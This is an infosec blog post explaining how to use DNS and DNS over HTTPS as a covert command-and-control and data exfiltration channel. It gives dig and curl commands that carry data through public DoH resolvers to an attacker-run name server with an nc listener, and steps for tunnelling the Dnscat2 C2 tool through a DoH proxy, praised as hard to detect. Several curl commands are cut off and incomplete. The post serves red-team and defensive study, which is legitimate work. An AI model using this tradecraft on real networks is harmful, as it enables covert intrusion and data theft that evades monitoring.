phra's blog ~ Technical posts about InfoSec

Aug 26, 2019

Exfiltrate Like a Pro: Using DNS over HTTPS as a C2 Channel

DNS over HTTPS is cool. It aims to increase user privacy and security by moving Domain Name System resolution from the old, unauthenticated UDP protocol to HTTPS and HTTP/2 😇.. but are you aware that it can be used as a C2 communication channel? 😼


Domain Name System

The Domain Name System is commonly used to translate a string representing a domain name to one or more IPv4/IPv6 addresses. It uses port UDP/53 for communication and there are different kinds of Resource Records that you can request:

Type Name Data
A IPv4 Address Mapping hostname and its corresponding IPv4 address
AAAA IPv6 Address Mapping hostname and its corresponding IPv6 address
CNAME Canonical Name alias to another hostname
MX Mail Exchanger SMTP email server for the domain
NS Name Server Authoritative Name Server for a DNS Zone
PTR Reverse Lookup Pointer reverse mapping between IPs and hostnames
CERT Certificate Record encryption certificates, such as PKIX, SPKI, PGP, etc
SRV Service Location service locations for other protocols
TXT Text Record arbitrary text and SPF, DKIM, DMARC, etc
SOA Start of Authority Authoritative Name Server for the current DNS zone

For example, we can use the following command to resolve the CNAME records of iwantmore.pizza:

root@kali:~$ dig iwantmore.pizza CNAME

; <<>> DiG 9.11.5-1-Debian <<>> iwantmore.pizza CNAME
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5731
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

; EDNS: version: 0, flags:; udp: 1452
;iwantmore.pizza.		IN	CNAME

iwantmore.pizza.	1799	IN	CNAME	phra.github.io.

;; Query time: 10 msec
;; WHEN: lun ago 26 10:18:34 CEST 2019
;; MSG SIZE  rcvd: 72

For more information about the DNS protocol, you can check these articles:

  1. Namecheap - What is DNS?
  2. Cloudflare - What is DNS?

DNS as C2 Channel

If we set up a NS record for exfil.iwantmore.pizza pointing to an IP address that we control and we try to resolve a subdomain like this:

root@kali:~$ dig 1234567890.exfil.iwantmore.pizza

we will receive the DNS request on our Authoritative Name Server delegated for the exfil. DNS zone:

root@kali:~$ nc -lvvup 53
listening on [any] 53 ...
<REDACTED>: inverse host lookup failed: Host name lookup failure
connect to [<REDACTED>] from (UNKNOWN) [<REDACTED>] 60598

As we can see, we just exfiltrated the string 1234567890 via DNS to our server using port UDP/53.

If you want to tunnel a full-duplex stream instead of exfiltrating a single string, you will need to define your own TCP-like layer on top of the UDP+DNS protocol, in order to manage the following problems:

  1. Reordering of received packets

  2. Deduplication of received packets

  3. Retransmission of lost packets

You can find a comprehensive open source protocol specification at the Dnscat2 repository.


We can try it out by resolving iwantmore.pizza CNAME records and issuing a manual request to any DoH public servers using the official online tool or locally with cURL, as shown below.

curl -H 'Accept: application/dns-json' \
curl -H 'Accept: application/dns-json' \
     -H 'Host: dns.google' \
curl -H 'accept: application/dns-json' \

In all cases, we will receive a JSON response similar to this one:

    "Status": 0,
    "TC": false,
    "RD": true,
    "RA": true,
    "AD": false,
    "CD": false,
    "Question": [{
        "name": "iwantmore.pizza.",
        "type": 5
    "Answer": [{
        "name": "iwantmore.pizza.",
        "type": 5,
        "TTL": 1794,
        "data": "phra.github.io."

DNS over HTTPS as C2 Channel

To replicate the previous example and exfiltrate the 1234567890 string we simply issue the following command:

curl -H 'Accept: application/dns-json' \
     -H 'Host: dns.google' \

and we end up with the same result on the server:

root@kali:~$ nc -lvvup 53
listening on [any] 53 ...
<REDACTED>: inverse host lookup failed: Host name lookup failure
connect to [<REDACTED>] from (UNKNOWN) [<REDACTED>] 61832

We just have exfiltrated the 1234567890 string using DNS over HTTPS, i.e. via a fully encrypted and authenticated HTTP/2 connection to some public, well-known DoH proxy.

Dnscat2 over DoH

To quickly confirm that DNS over HTTPS can be reliably used as a C2 channel, we can configure a DoH proxy and connect the Dnscat2 client to it. In this way we will use the original Dnscat2 client and the proxy will translate the DNS requests to DoH for us. If everything works, only HTTPS traffic to some DoH servers will be seen on the wire. Of course, in a real scenario, the agent/implant itself should contact the public DoH servers directly.

We will choose as our DoH proxy Technitium DNS Server, an open source .NET Core implementation.

On our test machine we will install the .NET Runtime

wget -qO- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > /etc/apt/trusted.gpg.d/microsoft.asc.gpg
wget -qO /etc/apt/sources.list.d/microsoft-prod.list https://packages.microsoft.com/config/debian/9/prod.list

apt install apt-transport-https
apt update
apt install install aspnetcore-runtime-2.2

and execute the Technitium DNS Server:

wget https://download.technitium.com/dns/DnsServerPortable.tar.gz
tar xvf DnsServerPortable.tar.gz
dotnet DnsServerApp.dll

We can access the dashboard on Let’s configure our DNS proxy to forward all received requests to an upstream DoH server, in this case we are choosing the Google one (i.e.,, …)

DoH proxy configuration

Now that everything is set up, we can confirm that it is working as expected: let’s run the Dnscat2 server on our Authoritative Name Server and start the client on our test machine after changing /etc/resolv.conf to use as DNS server, so that our traffic will pass through the DoH proxy.

Dnscat2 over DoH

🤖 Yay, it works! 🤖


We successfully set up a reverse DNS over HTTPS C2 channel with HTTP/2, High Reputation Domain Fronting and A-grade TLS support!

HTTP/2 Support

IP Reputation

SSL Grade

At the time of writing, no open source C2 agent/implant implement this exfiltration technique yet, but, as shown, it could be an effective and hard to detect method to indirectly communicate with a C2 server. It will be a neat feature to have and I am curious to see if it’s going to be implemented as a communication option for some major products out there.

Bonus Point: Redirect DNS Traffic to your local VM

If you want to forward the DNS traffic from the Authoritative Name Server to your local VM, you can use a mix of SSH and Socat commands, like shown in this @rvrsh3ll’s article:

# redirect all UDP traffic to a local TCP port
socat udp4-listen:53,reuseaddr,fork tcp:localhost:53535
# forward the TCP port to the VM
ssh <AUTHORITATIVE_NAME_SERVER> -R 53535:localhost:53535
# redirect all TCP traffic to a local UDP port
socat tcp4-listen:53535,reuseaddr,fork UDP:localhost:53


  1. Dnscat2
  2. Technitium Dns Server